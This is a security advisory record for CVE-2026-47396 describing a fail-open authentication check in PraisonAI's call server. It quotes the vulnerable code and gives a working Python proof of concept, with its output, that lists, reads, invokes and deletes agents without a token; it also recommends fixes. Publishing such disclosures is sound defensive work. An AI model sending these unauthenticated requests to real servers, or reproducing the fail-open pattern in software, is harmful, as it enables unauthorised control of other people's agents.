{"id":"CVE-2026-47396","aliases":["GHSA-86qc-r5v2-v6x6","PYSEC-2026-466"],"url":"https://o3.security/vulnerability/CVE-2026-47396","summary":"PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset","details":"### Summary\n\nPraisonAI's call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured.\n\nThe affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.\n\nThis is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane.\n\n### Details\n\nThe vulnerable behavior is caused by a fail-open authentication default.\n\nIn `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment:\n\n```python\nCALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')\n```\n\nThe authentication dependency then returns successfully when the token is not configured:\n\n```python\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:\n    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\n        return  # No authentication if FastAPI unavailable or no token set\n```\n\nThis means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely.\n\nThe same helper is used by sensitive agent-control routes, including:\n\n```python\n@router.post(\"/agents/{agent_id}/invoke\")\nasync def invoke_agent(..., _: None = Depends(verify_token))\n\n@router.get(\"/agents\")\nasync def list_agents(_: None = Depends(verify_token))\n\n@router.delete(\"/agents/{agent_id}\")\nasync def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))\n\n@router.get(\"/agents/{agent_id}\")\nasync def get_agent_info(agent_id: str, _: None = Depends(verify_token))\n```\n\nThese endpoints allow a caller to:\n\n- list registered agents;\n- retrieve agent metadata;\n- retrieve agent instruction text;\n- invoke agents;\n- unregister agents.\n\nThe vulnerable router is mounted by the call server:\n\n```python\nfrom .agent_invoke import router as agent_invoke_router\napp.include_router(agent_invoke_router)\n```\n\nThe call server then listens on all interfaces:\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\n```\n\nTherefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server.\n\n### PoC\n\nThe following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.\n\nThe PoC proves that, without sending any authentication material:\n\n1. `GET /api/v1/agents` returns the list of registered agents.\n2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions.\n3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent.\n4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\n\n\ndef verify_source() -> None:\n    expected = {\n        PRAISON_ROOT / \"praisonai/api/agent_invoke.py\": [\n            \"CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')\",\n            \"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\",\n            '@router.post(\"/agents/{agent_id}/invoke\")',\n            '@router.get(\"/agents\")',\n            '@router.delete(\"/agents/{agent_id}\")',\n            '@router.get(\"/agents/{agent_id}\")',\n        ],\n        PRAISON_ROOT / \"praisonai/api/call.py\": [\n            \"app.include_router(agent_invoke_router)\",\n            'uvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")',\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass DemoAgent:\n    name = \"demo-agent\"\n    instructions = \"super-secret instructions\"\n    tools = [SimpleNamespace(name=\"danger-tool\")]\n\n    def start(self, message: str) -> str:\n        return f\"echo:{message}\"\n\n\ndef main() -> int:\n    verify_source()\n\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    sys.path.insert(0, str(PRAISON_ROOT))\n\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router\n\n    app = FastAPI()\n    app.include_router(router)\n\n    register_agent(\"demo\", DemoAgent())\n\n    client = TestClient(app)\n\n    list_resp = client.get(\"/api/v1/agents\")\n    info_resp = client.get(\"/api/v1/agents/demo\")\n    invoke_resp = client.post(\"/api/v1/agents/demo/invoke\", json={\"message\": \"hello\"})\n    delete_resp = client.delete(\"/api/v1/agents/demo\")\n\n    print(f\"[poc] token_configured={bool(CALL_SERVER_TOKEN)}\")\n    print(f\"[poc] list_status={list_resp.status_code} body={list_resp.json()}\")\n    print(f\"[poc] info_status={info_resp.status_code} body={info_resp.json()}\")\n    print(f\"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}\")\n    print(f\"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}\")\n\n    if CALL_SERVER_TOKEN:\n        raise SystemExit(\"[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process\")\n\n    if list_resp.status_code != 200 or \"demo\" not in list_resp.json().get(\"agents\", []):\n        raise SystemExit(\"[poc] MISS: unauthenticated agent listing failed\")\n\n    if info_resp.status_code != 200 or info_resp.json().get(\"instructions\") != \"super-secret instructions\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent info leak failed\")\n\n    if invoke_resp.status_code != 200 or invoke_resp.json().get(\"result\") != \"echo:hello\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent invocation failed\")\n\n    if delete_resp.status_code != 200:\n        raise SystemExit(\"[poc] MISS: unauthenticated agent unregister failed\")\n\n    print(\"[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nObserved result:\n\n```text\n[poc] token_configured=False\n[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}\n[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}\n[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}\n[poc] delete_status=200 body={'message': \"Agent 'demo' unregistered successfully\", 'status': 'success'}\n[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\n```\n\nThis confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset.\n\n### Impact\n\nIf an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to:\n\n- enumerate registered agents;\n- read agent metadata;\n- read agent instruction text;\n- invoke agents;\n- trigger downstream tools or external integrations connected to agents;\n- consume model or API budget through repeated invocation;\n- unregister agents and disrupt availability.\n\nThe impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.\n\nThe issue is not limited to information disclosure. The unauthenticated `invoke` endpoint can trigger agent execution, and the unauthenticated `delete` endpoint can remove registered agents.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Fail closed when `CALL_SERVER_TOKEN` is unset.\n\n   The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.\n\n2. Refuse to mount the agent invocation router unless authentication is configured.\n\n3. If unauthenticated mode is intended for local development, bind to `127.0.0.1` by default when `CALL_SERVER_TOKEN` is absent.\n\n4. Add a startup error or highly visible warning when the call server is started without authentication.\n\n5. Add regression tests that assert `401 Unauthorized` for all sensitive agent routes when no valid token is supplied.\n\n6. Consider requiring an explicit unsafe flag, such as `--allow-unauthenticated-call-server`, before allowing the server to start without authentication.\n\n### Security boundary\n\nThis report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when `CALL_SERVER_TOKEN` is missing while the bundled server binds to `0.0.0.0`, which can expose the agent-control API remotely.","published":"2026-07-21T15:55:22.599Z","modified":"2026-10-09T02:49:28.695950623Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00346,"percentile":0.27804,"asOf":"2026-08-20"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.6.40"}],"fix":{"url":"https://github.com/MervinPraison/PraisonAI/commit/ef79b7a0561796ad9807f0f09538c25cc78d3619","label":"MervinPraison/PraisonAI@ef79b7a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47396.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47396"},{"type":"FIX","url":"https://github.com/MervinPraison/PraisonAI/commit/ef79b7a0561796ad9807f0f09538c25cc78d3619"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-09T02:49:28.695950623Z"}}